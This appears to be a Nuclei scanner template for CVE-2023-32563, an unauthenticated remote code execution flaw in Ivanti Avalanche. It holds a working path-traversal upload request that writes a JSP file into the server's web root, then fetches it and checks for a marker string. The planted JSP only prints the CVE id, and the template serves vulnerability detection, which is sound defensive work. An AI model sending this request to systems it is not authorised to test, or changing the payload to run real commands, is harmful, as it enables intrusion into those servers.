CVE-2023-32563: Ivanti Avalanche - Remote Code Execution

id: CVE-2023-32563

info:
  name: Ivanti Avalanche - Remote Code Execution
  author: princechaddha
  severity: critical
  description: An unauthenticated attacker could achieve the code execution through a RemoteControl server.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or updates provided by Ivanti to mitigate this vulnerability.
  reference:
    - https://twitter.com/wvuuuuuuuuuuuuu/status/1694956245742923939
    - https://forums.ivanti.com/s/article/Avalanche-Vulnerabilities-Addressed-in-6-4-1?language=en_US
    - https://nvd.nist.gov/vuln/detail/CVE-2023-32563
    - https://github.com/mayur-esh/vuln-liners
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-32563
    cwe-id: CWE-22
    epss-score: 0.92261
    epss-percentile: 0.99709
    cpe: cpe:2.3:a:ivanti:avalanche:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: ivanti
    product: avalanche
  tags: cve,cve2023,ivanti,avalanche,rce,oast,unauth,intrusive

http:
  - raw:
      - |
        POST /Servlet/Skins HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 333
        Content-Type: multipart/form-data; boundary=------------------------eacf31f23ac1829f
        Connection: close

        --------------------------eacf31f23ac1829f
        Content-Disposition: form-data; name="guid"

        ../../../Web/webapps/ROOT
        --------------------------eacf31f23ac1829f
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.jsp"

        <%
        out.println("CVE-2023-32563");
        %>
        --------------------------eacf31f23ac1829f--
      - |
        GET /{{randstr}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body_2
        words:
          - "CVE-2023-32563"
# digest: 4a0a00473045022100a7effcb13b244aac6ecc885b668c458cbeaacbc68bfb24463fb248077483d11702204a7d0f82b1075a5ec7efdd7385383fd9cb54e91423c80dbf576eff2a32faecf9:922c64590222798bb761d5b6d8e72950